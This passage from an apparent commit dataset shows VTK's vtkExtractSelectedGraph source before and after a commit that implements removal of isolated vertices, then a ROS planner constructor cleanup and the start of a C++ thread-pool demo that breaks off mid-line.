\"vtkCellData.h\"\n#include \"vtkCommand.h\"\n#include \"vtkConvertSelection.h\"\n#include \"vtkDataArray.h\"\n#include \"vtkEdgeListIterator.h\"\n#include \"vtkEventForwarderCommand.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkGraph.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMutableDirectedGraph.h\"\n#include \"vtkMutableUndirectedGraph.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPoints.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSignedCharArray.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkTree.h\"\n#include \"vtkVertexListIterator.h\"\n\n#include <vtksys\/stl\/map>\n\nvtkCxxRevisionMacro(vtkExtractSelectedGraph, \"1.18\");\nvtkStandardNewMacro(vtkExtractSelectedGraph);\n\/\/----------------------------------------------------------------------------\nvtkExtractSelectedGraph::vtkExtractSelectedGraph()\n{\n this->SetNumberOfInputPorts(2);\n this->RemoveIsolatedVertices = true;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkExtractSelectedGraph::~vtkExtractSelectedGraph()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::FillInputPortInformation(int port, vtkInformation* info)\n{\n if (port == 0)\n {\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkGraph\");\n return 1;\n }\n else if (port == 1)\n {\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\");\n return 1;\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkExtractSelectedGraph::SetSelectionConnection(vtkAlgorithmOutput* in)\n{\n this->SetInputConnection(1, in);\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::RequestDataObject(\n vtkInformation*, \n vtkInformationVector** inputVector , \n vtkInformationVector* outputVector)\n{\n vtkInformation* inInfo = inputVector[0]->GetInformationObject(0);\n if (!inInfo)\n {\n return 0;\n }\n vtkGraph *input = vtkGraph::SafeDownCast(\n inInfo->Get(vtkDataObject::DATA_OBJECT()));\n \n if (input)\n {\n vtkInformation* info = outputVector->GetInformationObject(0);\n vtkGraph *output = vtkGraph::SafeDownCast(\n info->Get(vtkDataObject::DATA_OBJECT()));\n \n \/\/ Output a vtkDirectedGraph if the input is a tree.\n if (!output \n || (vtkTree::SafeDownCast(input) && !vtkDirectedGraph::SafeDownCast(output)) \n || (!vtkTree::SafeDownCast(input) && !output->IsA(input->GetClassName())))\n {\n if (vtkTree::SafeDownCast(input))\n {\n output = vtkDirectedGraph::New();\n }\n else\n {\n output = input->NewInstance();\n }\n output->SetPipelineInformation(info);\n output->Delete();\n this->GetOutputPortInformation(0)->Set(\n vtkDataObject::DATA_EXTENT_TYPE(), output->GetExtentType());\n }\n return 1;\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::RequestData(\n vtkInformation* vtkNotUsed(request), \n vtkInformationVector** inputVector, \n vtkInformationVector* outputVector)\n{\n vtkGraph* input = vtkGraph::GetData(inputVector[0]);\n vtkSelection* selection = vtkSelection::GetData(inputVector[1]);\n\n \/\/ If there is nothing in the list, there is nothing to select.\n vtkAbstractArray* list = selection->GetSelectionList();\n if (!list || list->GetNumberOfTuples() == 0)\n {\n return 1;\n }\n\n int inverse = 0;\n if(selection->GetProperties()->Has(vtkSelection::INVERSE()))\n {\n inverse = selection->GetProperties()->Get(vtkSelection::INVERSE());\n }\n \n \/\/ If it is a selection with multiple parts, find a point or cell\n \/\/ child selection, with preference to points.\n if (selection->GetContentType() == vtkSelection::SELECTIONS)\n {\n vtkSelection* child = 0;\n for (unsigned int i = 0; i < selection->GetNumberOfChildren(); i++)\n {\n vtkSelection* cur = selection->GetChild(i);\n if (cur->GetFieldType() == vtkSelection::POINT)\n {\n child = cur;\n break;\n }\n else if (cur->GetFieldType() == vtkSelection::CELL)\n {\n child = cur;\n }\n }\n selection = child;\n }\n \n \/\/ Convert the selection to an INDICES selection\n vtkSmartPointer<vtkSelection> indexSelection;\n indexSelection.TakeReference(\n vtkConvertSelection::ToIndexSelection(selection, input));\n if (!indexSelection)\n {\n vtkErrorMacro(\"Selection conversion to INDICES failed.\");\n indexSelection->Delete();\n return 0;\n }\n \n vtkAbstractArray* arr = indexSelection->GetSelectionList();\n if (arr == NULL)\n {\n vtkErrorMacro(\"Selection list not found.\");\n return 0;\n }\n vtkIdTypeArray* selectArr = vtkIdTypeArray::SafeDownCast(arr);\n if (selectArr == NULL)\n {\n vtkErrorMacro(\"Selection list must be of type vtkIdTypeArray.\");\n return 0;\n }\n vtkIdType selectSize = selectArr->GetNumberOfTuples();\n \n bool directed = false;\n if (vtkDirectedGraph::SafeDownCast(input))\n {\n directed = true;\n }\n\n vtkSmartPointer<vtkMutableDirectedGraph> dirBuilder = \n vtkSmartPointer<vtkMutableDirectedGraph>::New();\n vtkSmartPointer<vtkMutableUndirectedGraph> undirBuilder = \n vtkSmartPointer<vtkMutableUndirectedGraph>::New();\n\n if (selection->GetProperties()->Has(vtkSelection::FIELD_TYPE()) && \n selection->GetProperties()->Get(vtkSelection::FIELD_TYPE()) == vtkSelection::EDGE)\n {\n \/\/\n \/\/ Edge selection\n \/\/\n \n \/\/ Copy all vertices\n for (vtkIdType v = 0; v < input->GetNumberOfVertices(); ++v)\n {\n if (directed)\n {\n dirBuilder->AddVertex();\n }\n else\n {\n undirBuilder->AddVertex();\n }\n }\n \n vtkDataSetAttributes *inputEdgeData = input->GetEdgeData();\n vtkDataSetAttributes *builderEdgeData = 0;\n if (directed)\n {\n builderEdgeData = dirBuilder->GetEdgeData();\n }\n else\n {\n builderEdgeData = undirBuilder->GetEdgeData();\n }\n\n builderEdgeData->CopyAllocate(inputEdgeData);\n\n \/\/ Copy unselected edges\n vtkSmartPointer<vtkEdgeListIterator> edges =\n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edges);\n while (edges->HasNext())\n {\n vtkEdgeType e = edges->Next();\n\n if ((inverse && selectArr->LookupValue(e.Id) < 0) ||\n (!inverse && selectArr->LookupValue(e.Id) >= 0))\n {\n vtkEdgeType outputEdge;\n if (directed)\n {\n outputEdge = dirBuilder->AddEdge(e.Source, e.Target);\n }\n else\n {\n outputEdge = undirBuilder->AddEdge(e.Source, e.Target);\n }\n builderEdgeData->CopyData(inputEdgeData, e.Id, outputEdge.Id);\n }\n }\n\n \/\/ Remove isolated vertices\n if (this->RemoveIsolatedVertices)\n {\n \/\/ TODO: Implement this (requires rebuilding the graph without the\n \/\/ isolated vertices).\n vtkErrorMacro(<<\"RemoveIsolatedVertices is not implemented.\");\n }\n else\n {\n if (directed)\n {\n dirBuilder->GetVertexData()->PassData(input->GetVertexData());\n dirBuilder->GetPoints()->ShallowCopy(input->GetPoints());\n }\n else\n {\n undirBuilder->GetVertexData()->PassData(input->GetVertexData());\n undirBuilder->GetPoints()->ShallowCopy(input->GetPoints());\n }\n }\n }\n else\n {\n \/\/\n \/\/ Vertex selection\n \/\/\n \n double pt[3];\n vtkPoints *inputPoints = input->GetPoints();\n vtkSmartPointer<vtkPoints> outputPoints = \n vtkSmartPointer<vtkPoints>::New();\n vtkDataSetAttributes *inputVertexData = input->GetVertexData();\n vtkDataSetAttributes *builderVertexData = 0;\n if (directed)\n {\n builderVertexData = dirBuilder->GetVertexData();\n }\n else\n {\n builderVertexData = undirBuilder->GetVertexData();\n }\n builderVertexData->CopyAllocate(inputVertexData);\n vtksys_stl::map<vtkIdType, vtkIdType> idMap;\n\n \/\/ Copy unselected vertices\n if(inverse)\n {\n vtkSmartPointer<vtkVertexListIterator> vertices = \n vtkSmartPointer<vtkVertexListIterator>::New();\n input->GetVertices(vertices);\n while (vertices->HasNext())\n {\n vtkIdType i = vertices->Next();\n if(selectArr->LookupValue(i) < 0)\n {\n vtkIdType outputVertex = -1;\n if (directed)\n {\n outputVertex = dirBuilder->AddVertex();\n }\n else\n {\n outputVertex = undirBuilder->AddVertex();\n }\n builderVertexData->CopyData(inputVertexData, i, outputVertex);\n idMap[i] = outputVertex;\n inputPoints->GetPoint(i, pt);\n outputPoints->InsertNextPoint(pt);\n }\n }\n }\n \/\/ Copy selected vertices\n else\n {\n for (vtkIdType i = 0; i < selectSize; i++)\n {\n vtkIdType inputVertex = selectArr->GetValue(i);\n if (inputVertex < input->GetNumberOfVertices())\n {\n vtkIdType outputVertex = -1;\n if (directed)\n {\n outputVertex = dirBuilder->AddVertex();\n }\n else\n {\n outputVertex = undirBuilder->AddVertex();\n }\n builderVertexData->CopyData(inputVertexData, inputVertex, outputVertex);\n idMap[inputVertex] = outputVertex;\n inputPoints->GetPoint(inputVertex, pt);\n outputPoints->InsertNextPoint(pt);\n }\n }\n }\n if (directed)\n {\n dirBuilder->SetPoints(outputPoints);\n }\n else\n {\n undirBuilder->SetPoints(outputPoints);\n }\n\n \/\/ Copy edges whose source and target are selected.\n vtkDataSetAttributes *inputEdgeData = input->GetEdgeData();\n vtkDataSetAttributes *builderEdgeData = 0;\n if (directed)\n {\n builderEdgeData = dirBuilder->GetEdgeData();\n }\n else\n {\n builderEdgeData = undirBuilder->GetEdgeData();\n }\n builderEdgeData->CopyAllocate(inputEdgeData);\n\n vtkSmartPointer<vtkEdgeListIterator> edges = \n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edges);\n while (edges->HasNext())\n {\n vtkEdgeType e = edges->Next();\n if (idMap.count(e.Source) > 0 && idMap.count(e.Target) > 0)\n {\n vtkEdgeType outputEdge;\n if (directed)\n {\n outputEdge = dirBuilder->AddEdge(idMap[e.Source], idMap[e.Target]);\n }\n else\n {\n outputEdge = undirBuilder->AddEdge(idMap[e.Source], idMap[e.Target]);\n }\n builderEdgeData->CopyData(inputEdgeData, e.Id, outputEdge.Id);\n }\n } \n }\n\n \/\/ Pass constructed graph to output.\n vtkGraph* output = vtkGraph::GetData(outputVector);\n if (directed)\n {\n if (!output->CheckedShallowCopy(dirBuilder))\n {\n vtkErrorMacro(<<\"Invalid graph structure.\");\n return 0;\n }\n }\n else\n {\n if (!output->CheckedShallowCopy(undirBuilder))\n {\n vtkErrorMacro(<<\"Invalid graph structure.\");\n return 0;\n }\n }\n output->GetFieldData()->PassData(input->GetFieldData());\n\n \/\/ Clean up\n output->Squeeze();\n\n return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkExtractSelectedGraph::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os, indent);\n os << indent << \"RemoveIsolatedVertices: \" \n << (this->RemoveIsolatedVertices ? \"on\" : \"off\") << endl;\n}\n<commit_msg>ENH: Implement RemoveIsolatedVertices feature.<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkExtractSelectedGraph.cxx\n\n Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n All rights reserved.\n See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*----------------------------------------------------------------------------\n Copyright (c) Sandia Corporation\n See Copyright.txt or http:\/\/www.paraview.org\/HTML\/Copyright.html for details.\n----------------------------------------------------------------------------*\/\n\n#include \"vtkExtractSelectedGraph.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkCommand.h\"\n#include \"vtkConvertSelection.h\"\n#include \"vtkDataArray.h\"\n#include \"vtkEdgeListIterator.h\"\n#include \"vtkEventForwarderCommand.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkGraph.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkMutableDirectedGraph.h\"\n#include \"vtkMutableUndirectedGraph.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkPoints.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSignedCharArray.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkTree.h\"\n#include \"vtkVertexListIterator.h\"\n\n#include <vtksys\/stl\/map>\n#include <vtkstd\/vector>\n\nvtkCxxRevisionMacro(vtkExtractSelectedGraph, \"1.19\");\nvtkStandardNewMacro(vtkExtractSelectedGraph);\n\/\/----------------------------------------------------------------------------\nvtkExtractSelectedGraph::vtkExtractSelectedGraph()\n{\n this->SetNumberOfInputPorts(2);\n this->RemoveIsolatedVertices = true;\n}\n\n\/\/----------------------------------------------------------------------------\nvtkExtractSelectedGraph::~vtkExtractSelectedGraph()\n{\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::FillInputPortInformation(int port, vtkInformation* info)\n{\n if (port == 0)\n {\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkGraph\");\n return 1;\n }\n else if (port == 1)\n {\n info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\");\n return 1;\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkExtractSelectedGraph::SetSelectionConnection(vtkAlgorithmOutput* in)\n{\n this->SetInputConnection(1, in);\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::RequestDataObject(\n vtkInformation*, \n vtkInformationVector** inputVector , \n vtkInformationVector* outputVector)\n{\n vtkInformation* inInfo = inputVector[0]->GetInformationObject(0);\n if (!inInfo)\n {\n return 0;\n }\n vtkGraph *input = vtkGraph::SafeDownCast(\n inInfo->Get(vtkDataObject::DATA_OBJECT()));\n \n if (input)\n {\n vtkInformation* info = outputVector->GetInformationObject(0);\n vtkGraph *output = vtkGraph::SafeDownCast(\n info->Get(vtkDataObject::DATA_OBJECT()));\n \n \/\/ Output a vtkDirectedGraph if the input is a tree.\n if (!output \n || (vtkTree::SafeDownCast(input) && !vtkDirectedGraph::SafeDownCast(output)) \n || (!vtkTree::SafeDownCast(input) && !output->IsA(input->GetClassName())))\n {\n if (vtkTree::SafeDownCast(input))\n {\n output = vtkDirectedGraph::New();\n }\n else\n {\n output = input->NewInstance();\n }\n output->SetPipelineInformation(info);\n output->Delete();\n this->GetOutputPortInformation(0)->Set(\n vtkDataObject::DATA_EXTENT_TYPE(), output->GetExtentType());\n }\n return 1;\n }\n return 0;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkExtractSelectedGraph::RequestData(\n vtkInformation* vtkNotUsed(request), \n vtkInformationVector** inputVector, \n vtkInformationVector* outputVector)\n{\n vtkGraph* input = vtkGraph::GetData(inputVector[0]);\n vtkSelection* selection = vtkSelection::GetData(inputVector[1]);\n\n \/\/ If there is nothing in the list, there is nothing to select.\n vtkAbstractArray* list = selection->GetSelectionList();\n if (!list || list->GetNumberOfTuples() == 0)\n {\n return 1;\n }\n\n int inverse = 0;\n if(selection->GetProperties()->Has(vtkSelection::INVERSE()))\n {\n inverse = selection->GetProperties()->Get(vtkSelection::INVERSE());\n }\n \n \/\/ If it is a selection with multiple parts, find a point or cell\n \/\/ child selection, with preference to points.\n if (selection->GetContentType() == vtkSelection::SELECTIONS)\n {\n vtkSelection* child = 0;\n for (unsigned int i = 0; i < selection->GetNumberOfChildren(); i++)\n {\n vtkSelection* cur = selection->GetChild(i);\n if (cur->GetFieldType() == vtkSelection::VERTEX)\n {\n child = cur;\n break;\n }\n else if (cur->GetFieldType() == vtkSelection::EDGE)\n {\n child = cur;\n }\n }\n selection = child;\n }\n \n \/\/ Convert the selection to an INDICES selection\n vtkSmartPointer<vtkSelection> indexSelection;\n indexSelection.TakeReference(\n vtkConvertSelection::ToIndexSelection(selection, input));\n if (!indexSelection)\n {\n vtkErrorMacro(\"Selection conversion to INDICES failed.\");\n indexSelection->Delete();\n return 0;\n }\n \n vtkAbstractArray* arr = indexSelection->GetSelectionList();\n if (arr == NULL)\n {\n vtkErrorMacro(\"Selection list not found.\");\n return 0;\n }\n vtkIdTypeArray* selectArr = vtkIdTypeArray::SafeDownCast(arr);\n if (selectArr == NULL)\n {\n vtkErrorMacro(\"Selection list must be of type vtkIdTypeArray.\");\n return 0;\n }\n vtkIdType selectSize = selectArr->GetNumberOfTuples();\n \n bool directed = false;\n if (vtkDirectedGraph::SafeDownCast(input))\n {\n directed = true;\n }\n\n vtkSmartPointer<vtkMutableDirectedGraph> dirBuilder = \n vtkSmartPointer<vtkMutableDirectedGraph>::New();\n vtkSmartPointer<vtkMutableUndirectedGraph> undirBuilder = \n vtkSmartPointer<vtkMutableUndirectedGraph>::New();\n\n if (selection->GetProperties()->Has(vtkSelection::FIELD_TYPE()) && \n selection->GetProperties()->Get(vtkSelection::FIELD_TYPE()) == vtkSelection::EDGE)\n {\n \/\/\n \/\/ Edge selection\n \/\/\n\n vtkDataSetAttributes *inputEdgeData = input->GetEdgeData();\n vtkDataSetAttributes *builderEdgeData = 0;\n if (directed)\n {\n builderEdgeData = dirBuilder->GetEdgeData();\n }\n else\n {\n builderEdgeData = undirBuilder->GetEdgeData();\n }\n\n builderEdgeData->CopyAllocate(inputEdgeData);\n\n\n \/\/ Handle the case where we are not outputing isolated vertices separately:\n if(this->RemoveIsolatedVertices)\n {\n \/\/ Create and initialize vector that keeps track of which\n \/\/ vertices are connected by an edge (1) and which aren't (0).\n \n unsigned int idx;\n vtkstd::vector<int> connectedVertices;\n for(int j=0; j<input->GetNumberOfVertices(); ++j)\n {\n connectedVertices.push_back(0);\n }\n\n vtkSmartPointer<vtkEdgeListIterator> edgeIter =\n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edgeIter);\n while (edgeIter->HasNext())\n {\n vtkEdgeType e = edgeIter->Next();\n\n if ((inverse && selectArr->LookupValue(e.Id) < 0) ||\n (!inverse && selectArr->LookupValue(e.Id) >= 0))\n {\n connectedVertices[e.Source] = 1;\n connectedVertices[e.Target] = 1;\n }\n }\n\n \/\/ Create a mapping between the input vertex id and the output vertex id.\n \/\/ Right now we rely on the fact that the input vertex ids are consecutive \n \/\/ integers from 0 to NUMBER_OF_VERTICES -1. So the index into the \n \/\/ vertexMap vector below actually represents the input vertex id.\n\n int numConnected = 0;\n vtkstd::vector<int> vertexMap;\n for(idx=0; idx<connectedVertices.size(); ++idx)\n {\n vertexMap.push_back(numConnected);\n\n if(connectedVertices[idx] == 1)\n {\n numConnected++;\n }\n }\n \n \/\/ Copy only the connected vertices\n for (int j = 0; j < numConnected; ++j)\n {\n if (directed)\n {\n dirBuilder->AddVertex();\n }\n else\n {\n undirBuilder->AddVertex();\n }\n }\n\n \/\/ Construct the output vertex data and vtkPoints using the new vertex ids\n\n vtkPoints* newPoints = vtkPoints::New();\n newPoints->SetNumberOfPoints(numConnected);\n\n if (directed)\n {\n dirBuilder->GetVertexData()->SetNumberOfTuples(numConnected);\n for (idx = 0; idx<connectedVertices.size(); idx++)\n {\n if(connectedVertices[idx]==1)\n {\n dirBuilder->GetVertexData()->SetTuple(vertexMap[idx], idx, input->GetVertexData());\n newPoints->SetPoint(vertexMap[idx], input->GetPoints()->GetPoint(idx));\n }\n }\n dirBuilder->SetPoints(newPoints);\n }\n else\n {\n undirBuilder->GetVertexData()->SetNumberOfTuples(numConnected);\n for (idx = 0; idx<connectedVertices.size(); idx++)\n {\n if(connectedVertices[idx]==1)\n {\n undirBuilder->GetVertexData()->SetTuple(vertexMap[idx], idx, input->GetVertexData());\n newPoints->SetPoint(vertexMap[idx], input->GetPoints()->GetPoint(idx));\n }\n }\n undirBuilder->SetPoints(newPoints);\n }\n\n newPoints->Delete();\n\n \/\/ Now actually copy the edges (only the selected ones) \n \/\/ using the new vertex ids.\n\n vtkSmartPointer<vtkEdgeListIterator> edges =\n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edges);\n while (edges->HasNext())\n {\n vtkEdgeType e = edges->Next();\n\n if ((inverse && selectArr->LookupValue(e.Id) < 0) ||\n (!inverse && selectArr->LookupValue(e.Id) >= 0))\n {\n vtkEdgeType outputEdge;\n if (directed)\n {\n outputEdge = dirBuilder->AddEdge(vertexMap[e.Source], vertexMap[e.Target]);\n }\n else\n {\n outputEdge = undirBuilder->AddEdge(vertexMap[e.Source], vertexMap[e.Target]);\n }\n builderEdgeData->CopyData(inputEdgeData, e.Id, outputEdge.Id);\n }\n }\n }\n else \/\/ !this->RemoveIsolatedVertices\n {\n\n \/\/ Copy all vertices\n for (vtkIdType v = 0; v < input->GetNumberOfVertices(); ++v)\n {\n if (directed)\n {\n dirBuilder->AddVertex();\n }\n else\n {\n undirBuilder->AddVertex();\n }\n }\n\n \/\/ Copy unselected edges\n vtkSmartPointer<vtkEdgeListIterator> edges =\n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edges);\n while (edges->HasNext())\n {\n vtkEdgeType e = edges->Next();\n\n if ((inverse && selectArr->LookupValue(e.Id) < 0) ||\n (!inverse && selectArr->LookupValue(e.Id) >= 0))\n {\n vtkEdgeType outputEdge;\n if (directed)\n {\n outputEdge = dirBuilder->AddEdge(e.Source, e.Target);\n }\n else\n {\n outputEdge = undirBuilder->AddEdge(e.Source, e.Target);\n }\n builderEdgeData->CopyData(inputEdgeData, e.Id, outputEdge.Id);\n }\n }\n\n if (directed)\n {\n dirBuilder->GetVertexData()->PassData(input->GetVertexData());\n dirBuilder->GetPoints()->ShallowCopy(input->GetPoints());\n }\n else\n {\n undirBuilder->GetVertexData()->PassData(input->GetVertexData());\n undirBuilder->GetPoints()->ShallowCopy(input->GetPoints());\n }\n }\n }\n else\n {\n \/\/\n \/\/ Vertex selection\n \/\/\n \n double pt[3];\n vtkPoints *inputPoints = input->GetPoints();\n vtkSmartPointer<vtkPoints> outputPoints = \n vtkSmartPointer<vtkPoints>::New();\n vtkDataSetAttributes *inputVertexData = input->GetVertexData();\n vtkDataSetAttributes *builderVertexData = 0;\n if (directed)\n {\n builderVertexData = dirBuilder->GetVertexData();\n }\n else\n {\n builderVertexData = undirBuilder->GetVertexData();\n }\n builderVertexData->CopyAllocate(inputVertexData);\n vtksys_stl::map<vtkIdType, vtkIdType> idMap;\n\n \/\/ Copy unselected vertices\n if(inverse)\n {\n vtkSmartPointer<vtkVertexListIterator> vertices = \n vtkSmartPointer<vtkVertexListIterator>::New();\n input->GetVertices(vertices);\n while (vertices->HasNext())\n {\n vtkIdType i = vertices->Next();\n if(selectArr->LookupValue(i) < 0)\n {\n vtkIdType outputVertex = -1;\n if (directed)\n {\n outputVertex = dirBuilder->AddVertex();\n }\n else\n {\n outputVertex = undirBuilder->AddVertex();\n }\n builderVertexData->CopyData(inputVertexData, i, outputVertex);\n idMap[i] = outputVertex;\n inputPoints->GetPoint(i, pt);\n outputPoints->InsertNextPoint(pt);\n }\n }\n }\n \/\/ Copy selected vertices\n else\n {\n for (vtkIdType i = 0; i < selectSize; i++)\n {\n vtkIdType inputVertex = selectArr->GetValue(i);\n if (inputVertex < input->GetNumberOfVertices())\n {\n vtkIdType outputVertex = -1;\n if (directed)\n {\n outputVertex = dirBuilder->AddVertex();\n }\n else\n {\n outputVertex = undirBuilder->AddVertex();\n }\n builderVertexData->CopyData(inputVertexData, inputVertex, outputVertex);\n idMap[inputVertex] = outputVertex;\n inputPoints->GetPoint(inputVertex, pt);\n outputPoints->InsertNextPoint(pt);\n }\n }\n }\n if (directed)\n {\n dirBuilder->SetPoints(outputPoints);\n }\n else\n {\n undirBuilder->SetPoints(outputPoints);\n }\n\n \/\/ Copy edges whose source and target are selected.\n vtkDataSetAttributes *inputEdgeData = input->GetEdgeData();\n vtkDataSetAttributes *builderEdgeData = 0;\n if (directed)\n {\n builderEdgeData = dirBuilder->GetEdgeData();\n }\n else\n {\n builderEdgeData = undirBuilder->GetEdgeData();\n }\n builderEdgeData->CopyAllocate(inputEdgeData);\n\n vtkSmartPointer<vtkEdgeListIterator> edges = \n vtkSmartPointer<vtkEdgeListIterator>::New();\n input->GetEdges(edges);\n while (edges->HasNext())\n {\n vtkEdgeType e = edges->Next();\n if (idMap.count(e.Source) > 0 && idMap.count(e.Target) > 0)\n {\n vtkEdgeType outputEdge;\n if (directed)\n {\n outputEdge = dirBuilder->AddEdge(idMap[e.Source], idMap[e.Target]);\n }\n else\n {\n outputEdge = undirBuilder->AddEdge(idMap[e.Source], idMap[e.Target]);\n }\n builderEdgeData->CopyData(inputEdgeData, e.Id, outputEdge.Id);\n }\n } \n }\n\n \/\/ Pass constructed graph to output.\n vtkGraph* output = vtkGraph::GetData(outputVector);\n if (directed)\n {\n if (!output->CheckedShallowCopy(dirBuilder))\n {\n vtkErrorMacro(<<\"Invalid graph structure.\");\n return 0;\n }\n }\n else\n {\n if (!output->CheckedShallowCopy(undirBuilder))\n {\n vtkErrorMacro(<<\"Invalid graph structure.\");\n return 0;\n }\n }\n output->GetFieldData()->PassData(input->GetFieldData());\n\n \/\/ Clean up\n output->Squeeze();\n\n return 1;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkExtractSelectedGraph::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->Superclass::PrintSelf(os, indent);\n os << indent << \"RemoveIsolatedVertices: \" \n << (this->RemoveIsolatedVertices ? \"on\" : \"off\") << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"predicator.h\"\n#include \"planning_tool.h\"\n\n#include <boost\/bind\/bind.hpp>\n\nnamespace predicator_planning {\n\n Planner::Planner(PredicateContext *_context, unsigned int _max_iter, unsigned int _children, double _step) :\n context(_context), max_iter(_max_iter), children(_children), step(_step)\n {\n ros::NodeHandle nh;\n planServer = nh.advertiseService <\n predicator_planning::PredicatePlan::Request,\n predicator_planning::PredicatePlan::Response>\n (\"\/predicator\/plan\",\n boost::bind(&Planner::plan, *this, _1, _2));\n }\n\n bool Planner::plan(predicator_planning::PredicatePlan::Request &req,\n predicator_planning::PredicatePlan::Response &res)\n {\n\n \/\/ get starting states\n \/\/ these are the states as recorded in the context\n \/\/ they will be updated as we go on if this takes a while -- might be bad\n std::vector<RobotState *> starting_states = context->states;\n\n \/\/ find the index of the current robot state\n unsigned int idx = 0;\n for (RobotModelPtr &ptr: context->robots) {\n std::cout << ptr->getName() << std::endl;\n if (ptr->getName().compare(req.robot)) {\n break;\n }\n ++idx;\n }\n\n \/\/ loop over \n for (unsigned int iter = 0; iter < max_iter; ++iter) {\n \/\/ either generate a starting position at random or...\n \/\/ step in a direction from a \"good\" position (as determined by high heuristics)\n \n for (unsigned int i = 0; i < children; ++i) {\n \n }\n\n }\n\n\n return true;\n }\n}\n<commit_msg>cleaned up constructor<commit_after>#include \"predicator.h\"\n#include \"planning_tool.h\"\n\n#include <boost\/bind\/bind.hpp>\n\nnamespace predicator_planning {\n\n Planner::Planner(PredicateContext *_context, unsigned int _max_iter, unsigned int _children, double _step) :\n context(_context), max_iter(_max_iter), children(_children), step(_step)\n {\n ros::NodeHandle nh;\n planServer = nh.advertiseService(\"predicator\/plan\", &Planner::plan, this);\n }\n\n bool Planner::plan(predicator_planning::PredicatePlan::Request &req,\n predicator_planning::PredicatePlan::Response &res)\n {\n\n \/\/ get starting states\n \/\/ these are the states as recorded in the context\n \/\/ they will be updated as we go on if this takes a while -- might be bad\n std::vector<RobotState *> starting_states = context->states;\n\n \/\/ find the index of the current robot state\n unsigned int idx = 0;\n for (RobotModelPtr &ptr: context->robots) {\n std::cout << ptr->getName() << std::endl;\n if (ptr->getName().compare(req.robot)) {\n break;\n }\n ++idx;\n }\n\n \/\/ loop over \n for (unsigned int iter = 0; iter < max_iter; ++iter) {\n \/\/ either generate a starting position at random or...\n \/\/ step in a direction from a \"good\" position (as determined by high heuristics)\n\n for (unsigned int i = 0; i < children; ++i) {\n\n }\n\n }\n\n\n return true;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ demo.cpp : ̨Ӧóڵ㡣\n\/\/\n\n#include <stdio.h>\n#include <assert.h>\n#include <map>\n#include <vector>\n\n\n#include \"CodeAddress.h\"\n#include \"ThreadPool.h\"\n\n#ifdef WIN32\n#ifdef _DEBUG\n#pragma comment(lib, \"..\/lib\/ThreadLib_d.lib\")\n#else\n#pragma comment(lib, \"..\/lib\/ThreadLib.lib\")\n#endif\n#else\n#include <unistd.h>\n#endif\n\nclass CTest\n{\npublic:\n\tCTest()\n\t\t:m_Thread(NULL)\n\t\t,m_bStop(false)\n\t\t,m_nThreadParam(5)\n\t\t,m_nThreadPoolParam(10)\n\t{\n\t}\n\n\t~CTest()\n\t{\n\t\tif (m_Thread != NULL)\n\t\t{\n\t\t\tdelete m_Thread;\n\t\t\tm_Thread = NULL;\n\t\t}\n\t}\n\n\tvoid *ThreadFunc(void* param)\n\t{\n\t\tint *pNum = (int*)param;\n\t\twhile (!m_bStop)\n\t\t{\n\t\t\tprintf(\"\\n\\tthe param is a number : \\\"%i\\\"\\n\", *pNum);\n#ifdef WIN32\n\t\t\tSleep(500);\n#else\n\t\t\tusleep(500*1000);\n#endif\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tvoid *ThreadPoolFunc(void* pParam)\n\t{\n\t\tint *pNum = (int*)pParam;\n\t\twhile (!m_bStop)\n\t\t{\n\t\t\tprintf(\"\\n\\tThreadPoolFunc Number is : \\\"%i\\\"\\n\", *pNum);\n#ifdef WIN32\n\t\t\tSleep(500);\n#else\n\t\t\tusleep(500*1000);\n#endif\n\t\t}\n\t\treturn NULL;\n\t}\n\n\tvoid StartTest()\n\t{\n\t\tif (m_Thread == 